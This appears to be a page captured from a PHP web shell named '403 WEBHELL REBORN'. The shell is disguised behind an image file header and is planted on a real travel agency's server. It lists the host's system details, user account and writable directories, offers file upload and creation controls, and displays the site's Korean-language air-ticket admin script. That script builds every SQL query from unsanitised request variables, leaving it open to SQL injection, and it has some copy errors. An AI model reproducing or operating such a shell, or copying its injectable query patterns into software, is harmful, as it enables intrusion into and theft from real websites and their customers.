ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/air/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/air/airticket_proc.html
<?
include "../include/top_proc.html";
include "_common.php";

$table = "TB_AIR_TICKET";
$table2 = "TB_AIR_DATE";

// TB_AIR_TICKET

$price_to = str_replace(",","",$price_to);

// 출발.도착 지역명
$data_arr = to_area_b("",$s_bidx);
$s_bidx_nm = $data_arr[0]['NationName'];

$data_arr = to_area_c("",$s_bidx,$s_cidx);
$s_cidx_nm = $data_arr[0]['CityName'];

$data_arr = to_area_b("",$bidx);
$bidx_nm = $data_arr[0]['NationName'];

$data_arr = to_area_c("",$bidx,$cidx);
$cidx_nm = $data_arr[0]['CityName'];

// 담당자
$admin_nm = "";
$admin_depart_cd = "";
if ($admin_id) {
	$member_data = member_fetch(" and mb_id='{$admin_id}' ");
	$member_arr = $member_data[0];
	$admin_nm = $member_arr['mb_nm'];
	$admin_depart_cd = $member_arr['emp_depart_cd'];
}


// TB_AIR_DATE
$net_ad = str_replace(",","",$net_ad);
$net_ch = str_replace(",","",$net_ch);
$net_ba = str_replace(",","",$net_ba);
$net_ad_addon = str_replace(",","",$net_ad_addon);
$net_ch_addon = str_replace(",","",$net_ch_addon);
$net_ba_addon = str_replace(",","",$net_ba_addon);
$person_ad = str_replace(",","",$person_ad);
$person_ch = str_replace(",","",$person_ch);
$person_ba = str_replace(",","",$person_ba);
$agent_ad = str_replace(",","",$agent_ad);
$agent_ch = str_replace(",","",$agent_ch);
$agent_ba = str_replace(",","",$agent_ba);
$start_tm = $start_tm_1.":".$start_tm_2;
$end_tm = $end_tm_1.":".$end_tm_2;




if ( $SqlType == "chg_delflag" ) {
	if(!$ti_uid) exit;
	
	$sql = "update {$table} set delflag='{$delflag}' where ti_uid='{$ti_uid}' ";
	db_query($sql);
	
	$data = to_air_ticket(" and ti_uid='{$ti_uid}' ","","1");
	$row = $data[0];


	echo "<img src=\"{$row[delflag_icon]}\" onClick=\"ajax_obj_loader('airticket_proc.html?SqlType=chg_delflag&ti_uid={$row[ti_uid]}&delflag={$row[delflag_opp]}','delflag_{$row[ti_uid]}');\" />";
	exit;

// 할인항공 순서변경
}else if($SqlType=="chg_order"){
	
	for($i=0 ; $i<count($ti_uid_arr) ; $i++){
		$ti_uid = $ti_uid_arr[$i];
		$ti_no = $ti_no_arr[$i];
			
		if($ti_uid and is_numeric($ti_no)){
			$sql = "update {$table} set ti_no='{$ti_no}' where ti_uid='{$ti_uid}' ";
			db_query($sql);
		}
	}

	error_msg("document.location.reload();","script");

// 할인항공 정보 삭제
}else if($SqlType=="del_airticket"){
	if(!$ti_uid) exit;

	$sql = "delete from {$table} where ti_uid='{$ti_uid}' ";

	db_query($sql);

	$sql = "delete from {$table2} where ti_uid='{$ti_uid}' ";

	db_query($sql);

	error_msg("document.location.reload();","script");

// 추천변경
}else if($SqlType=="chg_gm"){
	if(!$ti_uid) exit;

	$sql = "update {$table} set {$gm}='{$flag}' where ti_uid='{$ti_uid}' ";

	db_query($sql);

	exit;

// 할인항공권 수정
}else if($SqlType=="airticket_edit"){
	if (!$ti_uid ) exit;

	$sql = "update {$table} set ";
	$sql .= " b_uid='{$b_uid}',";
	$sql .= " m_uid='{$m_uid}',";
	$sql .= " s_uid='{$s_uid}',";
	$sql .= " round_yn='{$round_yn}', ";
	$sql .= " air_grade='{$air_grade}', ";
	$sql .= " price_to='{$price_to}', ";
	$sql .= " selldt_start='{$selldt_start}', ";
	$sql .= " selldt_end='{$selldt_end}', ";
	$sql .= " period='{$period}', ";
	$sql .= " memo='{$memo}', ";
	$sql .= " explaine='{$explaine}', ";
	$sql .= " admin_id='{$admin_id}', ";
	$sql .= " admin_nm='{$admin_nm}', ";
	$sql .= " admin_depart_cd='{$admin_depart_cd}', ";
	$sql .= " edit_id='{$TO_MB[mb_id]}', ";
	$sql .= " edit_nm='{$TO_MB[mb_nm]}', ";
	$sql .= " edit_dt=now() ";
	$sql .= " where ti_uid='{$ti_uid}' ";

	db_query($sql);

	error_msg("location.href='airticket_edit.html?{$_href}&ti_uid={$ti_uid}'","script");

// 할인항공권 저장
}else if($SqlType=="airticket_ins"){
	if ( !$bidx or !$s_bidx or !$bidx or !$cidx) exit;



	// 항공사정보
	$air_data = TO_get_airline(" and delflag='N' and airline_code='{$airline_code}' ","delflag desc,ordernum");
	$air_nm = $air_data[0]['airnm_kor'];

	$sql = "insert into {$table} set ";
	$sql .= " b_uid='{$b_uid}',";
	$sql .= " m_uid='{$m_uid}',";
	$sql .= " s_uid='{$s_uid}',";
	$sql .= " s_bidx='{$s_bidx}', ";
	$sql .= " s_bidx_nm='{$s_bidx_nm}', ";
	$sql .= " s_cidx='{$s_cidx}', ";
	$sql .= " s_cidx_nm='{$s_cidx_nm}', ";
	$sql .= " bidx='{$bidx}', ";
	$sql .= " bidx_nm='{$bidx_nm}', ";
	$sql .= " cidx='{$cidx}', ";
	$sql .= " cidx_nm='{$cidx_nm}', ";
	$sql .= " airline_code='{$airline_code}', ";
	$sql .= " air_nm='{$air_nm}', ";
	$sql .= " round_yn='{$round_yn}', ";
	$sql .= " air_grade='{$air_grade}', ";
	$sql .= " price_to='{$price_to}', ";
	$sql .= " selldt_start='{$selldt_start}', ";
	$sql .= " selldt_end='{$selldt_end}', ";
	$sql .= " period='{$period}', ";
	$sql .= " memo='{$memo}', ";
	$sql .= " explaine='{$explaine}', ";
	$sql .= " admin_id='{$admin_id}', ";
	$sql .= " admin_nm='{$admin_nm}', ";
	$sql .= " admin_depart_cd='{$admin_depart_cd}', ";
	$sql .= " insert_id='{$TO_MB[mb_id]}', ";
	$sql .= " insert_nm='{$TO_MB[mb_nm]}', ";
	$sql .= " ins_dt=now() ";

	db_query($sql);

	error_msg("location.href='index.html?{$_href}'","script");

// 항공출발일 정보 저장
}else if($SqlType=="airdate_ins"){
	if(!$ti_uid) exit;

	// 할인항공권
	$data = to_air_ticket(" and ti_uid='{$ti_uid}' ");
	$row = $data[0];

	// sql 세팅
	$sql_set = " ti_uid='{$ti_uid}', ";
	$sql_set .= " s_bidx='{$row[s_bidx]}', ";
	$sql_set .= " s_bidx_nm='{$row[s_bidx_nm]}', ";
	$sql_set .= " s_cidx='{$row[s_cidx]}', ";
	$sql_set .= " s_cidx_nm='{$row[s_cidx_nm]}', ";
	$sql_set .= " bidx='{$row[bidx]}', ";
	$sql_set .= " bidx_nm='{$row[bidx_nm]}', ";
	$sql_set .= " cidx='{$row[cidx]}', ";
	$sql_set .= " cidx_nm='{$row[cidx_nm]}', ";
	$sql_set .= " airline_code='{$row[airline_code]}', ";
	$sql_set .= " air_nm='{$row[air_nm]}', ";
	$sql_set .= " plane_nm='{$plane_nm}', ";
	$sql_set .= " visit_nm='{$visit_nm}', ";
	//$sql_set .= " start_dt='{$start_dt}', ";
	$sql_set .= " start_tm='{$start_tm}', ";
	//$sql_set .= " end_dt='{$end_dt}', ";
	$sql_set .= " end_tm='{$end_tm}', ";
	$sql_set .= " total_seat='{$total_seat}', ";
	$sql_set .= " net_ad='{$net_ad}', ";
	$sql_set .= " net_ch='{$net_ch}', ";
	$sql_set .= " net_ba='{$net_ba}', ";
	$sql_set .= " net_ad_addon='{$net_ad_addon}', ";
	$sql_set .= " net_ch_addon='{$net_ch_addon}', ";
	$sql_set .= " net_ba_addon='{$net_ba_addon}', ";
	$sql_set .= " person_ad='{$person_ad}', ";
	$sql_set .= " person_ch='{$person_ch}', ";
	$sql_set .= " person_ba='{$person_ba}', ";
	$sql_set .= " agent_ad='{$agent_ad}', ";
	$sql_set .= " agent_ch='{$agent_ch}', ";
	$sql_set .= " agent_ba='{$agent_ba}', ";
	$sql_set .= " res_state='{$res_state}' ";
	//$sql_set .= " ins_dt=now() ";

	// 익일도착
	$end_dt_cnt = 0;
	if ( $tomorrow_yn=="Y" ) $end_dt_cnt = 1; // 익일

	if($ins_cond=="auto") { // 조건자동입력
		$date_arr = date_to_date($d_start , $d_end);

		for($i=0 ; $i<count($date_arr) ; $i++) {
			$date_dt = $date_arr[$i];
			for( $j=0 ; $j<count($week_date) ; $j++){
				$sql = "";
				if ( $date_dt['yoil_ord']==$week_date[$j] ) { // 체크된 요일.
					$start_date = $date_dt['date']; // 출발일

					$data = to_air_date(" and ti_uid='{$ti_uid}' and start_dt='{$start_date}' "); // 같은 출발일 카운터
					
					if ( count($data)>0 and $is_schedule=="update" ) // 같은 출발일이 있고,추가(@is_schedule)조건이 update이면  업데이트.
					{
						if ( $end_dt_cnt > 0 ) { // 익일 도착
							$end_date = date("Y-m-d",strtotime(" +{$end_dt_cnt} day",strtotime($start_date)));
						}else{
							$end_date = $start_date; // 당일 도착
						}
						$sql = "update {$table2} set ";
						$sql .= "{$sql_set} , ins_dt=now() ";
						$sql .= " where start_dt='{$start_date}' and end_dt='{$end_date}' and ti_uid='{$ti_uid}' ";
						db_query($sql);
					}
					else // 출발일이 없을때 인서트
					{
						if ( $end_dt_cnt > 0 ) { // 익일 도착
							$end_date = date("Y-m-d",strtotime(" +{$end_dt_cnt} day",strtotime($start_date)));
						}else{
							$end_date = $start_date; // 당일 도착
						}
						$sql = "insert into {$table2} set ";
						$sql .= "{$sql_set} ";
						$sql .= " , start_dt='{$start_date}', end_dt='{$end_date}', ins_dt=now() ";
						db_query($sql);
					}
						
				}
			}
		}
		
	}elseif($con_input=="private") { // 개별날짜입력
		$start_date = $start_dt; // 출발일
		$end_date = $start_dt; // 도착일
	
		$data = to_air_date(" and ti_uid='{$ti_uid}' and start_dt='{$start_date}' "); // 같은 출발일 카운터

		if ( count($data)>0 and $is_schedule=="update" ) // 같은 출발일이 있고,추가(@is_schedule)조건이 update이면  업데이트.
		{
			$sql = "update {$table2} set ";
			$sql .= "{$sql_set} , ins_dt=now()  ";
				$sql .= " where start_dt='{$start_date}' and end_dt='{$end_date}' and ti_uid='{$ti_uid}' ";
			db_query($sql);
		}
		else // 출발일이 없을때 인서트
		{
			$sql = "insert into {$table2} set ";
			$sql = "{$sql_set} ";
			$sql .= " , start_dt='{$start_date}', end_dt='{$end_date}', ins_dt=now() ";
			db_query($sql);
		}
	}

	error_msg("document.location.reload();","script");

// 할인항공 출발정보 수정
}elseif($SqlType=="airdate_edit"){
	if(!$ar_uid) exit;
	
	$sql = "update {$table2} set ";
	$sql .= "plane_nm='{$plane_nm}',";
	$sql .= "visit_nm='{$visit_nm}',";
	$sql .= "start_dt='{$start_dt}',";
	$sql .= "start_tm='{$start_tm}',";
	$sql .= "end_dt='{$end_dt}',";
	$sql .= "end_tm='{$end_tm}',";
	$sql .= "left_seat='{$left_seat}',";
	$sql .= "total_seat='{$total_seat}',";
	$sql .= "net_ad='{$net_ad}',";
	$sql .= "net_ch='{$net_ch}',";
	$sql .= "net_ba='{$net_ba}',";
	$sql .= "net_ad_addon='{$net_ad_addon}',";
	$sql .= "net_ch_addon='{$net_ch_addon}',";
	$sql .= "net_ba_addon='{$net_ba_addon}',";
	$sql .= "person_ad='{$person_ad}',";
	$sql .= "person_ch='{$person_ch}',";
	$sql .= "person_ba='{$person_ba}',";
	$sql .= "agent_ad='{$agent_ad}',";
	$sql .= "agent_ch='{$agent_ch}',";
	$sql .= "agent_ba='{$agent_ba}',";
	$sql .= "res_state='{$res_state}'";
	$sql .= " where ar_uid = '{$ar_uid}' ";
	
	db_query($sql);
	
	exit;

// 할인항공 출발정보 선택 수정
}elseif($SqlType=="airdate_edit_check"){
	
	for($i=0 ; $i<count($chk_seq) ; $i++){
		$ar_uid = $chk_seq[$i];
		if ($ar_uid) {

			$plane_nm				= ${"plane_nm_".$ar_uid};
			$visit_nm				= ${"visit_nm_".$ar_uid};
			$start_dt				= ${"start_dt_".$ar_uid};
			$start_tm_1				= ${"start_tm_1_".$ar_uid};
			$start_tm_2				= ${"start_tm_2_".$ar_uid};
				$start_tm				= $start_tm_1.":".$start_tm_2;
			$end_dt					= ${"end_dt_".$ar_uid};
			$end_tm_1					= ${"end_tm_1_".$ar_uid};
			$end_tm_2					= ${"end_tm_2_".$ar_uid};
				$end_tm				= $end_tm_1.":".$end_tm_2;
			$left_seat			= ${"left_seat_".$ar_uid};
			$total_seat			= ${"total_seat_".$ar_uid};
			$net_ad					= str_replace(",","",${"net_ad_".$ar_uid});
			$net_ch					= str_replace(",","",${"net_ch_".$ar_uid});
			$net_ba					= str_replace(",","",${"net_ba_".$ar_uid});
			$net_ad_addon		= str_replace(",","",${"net_ad_addon_".$ar_uid});
			$net_ch_addon		= str_replace(",","",${"net_ch_addon_".$ar_uid});
			$net_ba_addon		= str_replace(",","",${"net_ba_addon_".$ar_uid});
			$person_ad			= str_replace(",","",${"person_addon_".$ar_uid});
			$person_ch			= str_replace(",","",${"person_ch_".$ar_uid});
			$person_ba			= str_replace(",","",${"person_ba_".$ar_uid});
			$agent_ad				= str_replace(",","",${"agent_ad_".$ar_uid});
			$agent_ch				= str_replace(",","",${"agent_ch_".$ar_uid});
			$agent_ba				= str_replace(",","",${"agent_ba_".$ar_uid});
			$res_state			= ${"res_state_".$ar_uid};

			$sql = "update {$table2} set ";
			$sql .= "plane_nm='{$plane_nm}',";
			$sql .= "visit_nm='{$visit_nm}',";
			$sql .= "start_dt='{$start_dt}',";
			$sql .= "start_tm='{$start_tm}',";
			$sql .= "end_dt='{$end_dt}',";
			$sql .= "end_tm='{$end_tm}',";
			$sql .= "left_seat='{$left_seat}',";
			$sql .= "total_seat='{$total_seat}',";
			$sql .= "net_ad='{$net_ad}',";
			$sql .= "net_ch='{$net_ch}',";
			$sql .= "net_ba='{$net_ba}',";
			$sql .= "net_ad_addon='{$net_ad_addon}',";
			$sql .= "net_ch_addon='{$net_ch_addon}',";
			$sql .= "net_ba_addon='{$net_ba_addon}',";
			$sql .= "person_ad='{$person_ad}',";
			$sql .= "person_ch='{$person_ch}',";
			$sql .= "person_ba='{$person_ba}',";
			$sql .= "agent_ad='{$agent_ad}',";
			$sql .= "agent_ch='{$agent_ch}',";
			$sql .= "agent_ba='{$agent_ba}',";
			$sql .= "res_state='{$res_state}'";
			$sql .= " where ar_uid = '{$ar_uid}' ";

			db_query($sql);
		}
	}

	exit;

// 할인항공 출발정보 선택 삭제
}elseif($SqlType=="airdate_delete_check"){

	if ( $ar_uid ){ // 낱개삭제
		$sql = "delete from {$table2} where ar_uid = '{$ar_uid}'  ";
		db_query($sql);
	}else{ // 선택삭제
		for($i=0 ; $i<count($chk_seq) ; $i++){
			$ar_uid = $chk_seq[$i];
			if ($ar_uid) {

				$sql = "delete from {$table2} where ar_uid = '{$ar_uid}'  ";

				db_query($sql);
			}
		}
	}

	error_msg("ajax_loader('airticket_date_list.html?{$shref}','ajax_start_date');","script");



// 할인항공권 정보 복사
}elseif($SqlType=="air_copy"){
	if(!$ti_uid ) exit;

	// 항공권정보 복사
	$data = to_air_ticket(" and ti_uid='{$ti_uid}' ");
	$row = $data[0];
		
	$sql = "insert into {$table} set  ";
	$sql .= " b_uid='{$b_uid}',";
	$sql .= " m_uid='{$m_uid}',";
	$sql .= " s_uid='{$s_uid}',";
	$sql .= " ti_no='".$row['ti_no']."', ";
	$sql .= " s_bidx='".$row['s_bidx']."', ";
	$sql .= " s_bidx_nm='".$row['s_bidx_nm']."', ";
	$sql .= " s_cidx='".$row['s_cidx']."', ";
	$sql .= " s_cidx_nm='".$row['s_cidx_nm']."', ";
	$sql .= " bidx='".$row['s_cidx_nm']."', ";
	$sql .= " bidx_nm='".$row['bidx_nm']."', ";
	$sql .= " cidx='".$row['cidx']."', ";
	$sql .= " cidx_nm='".$row['cidx_nm']."', ";
	$sql .= " airline_code='".$row['airline_code']."', ";
	$sql .= " air_nm='".$row['air_nm']."', ";
	$sql .= " round_yn='".$row['round_yn']."', ";
	$sql .= " air_grade='".$row['air_grade']."', ";
	$sql .= " price_to='".$row['price_to']."', ";
	$sql .= " selldt_start='".$row['selldt_start']."', ";
	$sql .= " selldt_end='".$row['selldt_end']."', ";
	$sql .= " period='".$row['period']."', ";
	$sql .= " memo='".$row['memo']."', ";
	$sql .= " explaine='".$row['explaine']."', ";
	$sql .= " admin_id='".$row['admin_id']."', ";
	$sql .= " admin_nm='".$row['admin_nm']."', ";
	$sql .= " admin_depart_cd='".$row['admin_depart_cd']."', ";
	$sql .= " insert_id='".$row['insert_id']."', ";
	$sql .= " insert_nm='".$row['insert_nm']."', ";
	$sql .= " ins_dt=now() ";

	db_query($sql);

	error_msg("document.location.reload()","script");
}
?>

Anon7 - 2021